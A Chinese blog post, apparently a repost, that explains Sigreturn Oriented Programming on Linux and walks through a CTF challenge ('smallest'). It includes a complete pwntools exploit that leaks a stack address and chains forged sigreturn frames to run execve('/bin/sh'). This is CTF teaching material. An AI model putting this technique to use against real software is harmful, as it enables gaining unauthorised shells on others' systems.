Linux SROP 原理与攻击

理解并掌握基本的SROP理论以及其攻击方法,这里主要结合freebuf的文章http://www.freebuf.com/articles/network/87447.html,以及i春秋360杯和2017广东省红帽杯的题目路整理一下思路。

0x01 原理

SROP的全称是Sigreturn Oriented Programming。在这里sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接地调用。

Signal这套机制在1970年代就被提出来并整合进了UNIX内核中,它在现在的操作系统中被使用的非常广泛,比如内核要杀死一个进程(kill -9 $PID),再比如为进程设置定时器,或者通知进程一些异常事件等等。

当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

这里写图片描述

在这里我们主要理解sigreturn的意义是,去执行一段pop函数将堆栈中的值全部pop到寄存器中,相当于一个恢复现场的作用(攻击的时候主要运用的这一点)。

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn
这里写图片描述
我们将这段内存称为一个Signal Frame

0x02 攻击利用

0x1攻击流程

如果理解了前面所描述的原理,那么利用方式很简单,直接篡改在堆栈中的数据,等到sigreturn的时候就可以大展伸手了。
攻击利用这一点 swing师傅已经写了传送门

0x2 题目解析

在这里我主要分析一道ctf题目,i春秋360比赛的smallest
拿到题目首先分析结构
这里写图片描述
三无产品
这里写图片描述

这里看到syscall,就想到用SROP技术

syscall这个指令,它是根据rax寄存器的值来查询系统调用表,并执行对应函数。
syscall(rax,rdi,rsi,rdx)
我们看看反汇编代码的意思
syscall(0,0,$rsp,0x400),相当于调用了read函数read(0,$rsp,0x400)

1. target

我们要最终获取shell权限,必须有写入"/bin/bash"的过程所以要用到read函数。
要有命令执行过程所以要有exec
要有固定的字符串地址所以要有地址泄露 这里是write函数

  1. 因为write函数的系统调用编号是1所以可以直接跳转绕过xor ax,ax
    使得第二次函数执行write函数
  2. 下面需要frame结构写到栈里,但最后要调用sigreturn指令,所以这里要提前做好栈保留的工作,这里有个坑看了半天才看懂,最后的解释感觉还可以接受

其他的工作倒没什么了,主要是理清思路,要知道代码中每一行是干什么的

2.write函数地址泄露

这里我们选用write函数的原因很简单就是因为系统调用ax=1时是write函数,所以这里选用它
代码如下

from pwn import *
sh = process("./pwn4")

begin = 0x4000b0
syscall = 0x4000be
# step 1 call write func to leak stack addr
write_payload = p64(begin) + p64(begin) + p64(begin) #the sec place can be replaced by 0x4000b1 0x4000b2 why 3 addr becaus  after write it went to read func
sh.send(write_payload)

sh.send("\xb3")#attention can only send 1 byte to call write func
stack_addr = u64(sh.recv()[8:16])
print hex(stack_addr)
sh.interactive()

3.构造frame结构

这一步比较简单可以直接利用别人写好的框架SigreturnFrame
首先我们要构造一个read函数,作用是把我们输入的字符串放在已经泄露的栈地址上,这一步是为了写exec的frame和参数/bin/bash

#read(0,stack_addr,0x400) 
frame = SigreturnFrame(kernel="amd64")
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr#这里和下面@值必须相同,因为是一个rop链
frame.rdx = 0x400
frame.rsp = stack_addr#@
frame.rip = syscall
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x300 # "/bin/sh" 's addr 
frame.rip = syscall

4.sigreturn执行

这里需要前面的的预留位

goto_sigreturn_payload = p64(syscall_addr) + "\x00"*(15 - 8) # sigreturn syscall is 15 
s.send(goto_sigreturn_payload)

第一个是注册ax然后rop到syscall那里去执行sigreturn,恢复现场
下面那个和这个功能一样

5.完整exp



from pwn import *
sh = process("./pwn4")
context.arch = "amd64"
begin = 0x4000b0
syscall = 0x4000be
# step 1 call write func to leak stack addr
write_payload = p64(begin) + p64(begin) + p64(begin) #the sec place can be replaced by 0x4000b1 0x4000b2 why 3 addr becaus  after write it went to read func
sh.send(write_payload)

sh.send("\xb3")#attention can only send 1 byte to call write func
stack_addr = u64(sh.recv()[8:16])
print "stack_addr:",hex(stack_addr)

# step 2 create frame struct
#read(0,stack_addr,0x400) 

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall

read_payload = p64(begin)+p64(11111)+str(frame)
sh.send(read_payload)
#step 3 excu sigreturn 
sigreturn_payload = p64(syscall)+7*"\x00"
sh.send(sigreturn_payload)

#step 4 create frame struct
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x300
frame.rip = syscall

execv_frame_payload = p64(begin) + p64(1111) + str(frame)
#step 5 excu sigreturn 
execv_frame_payload_all = execv_frame_payload + (0x300 - len(execv_frame_payload))*"\x00" + "/bin/sh\x00"
sh.send(execv_frame_payload_all)

sh.send(sigreturn_payload)  

sh.interactive()
发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/73929569
今日推荐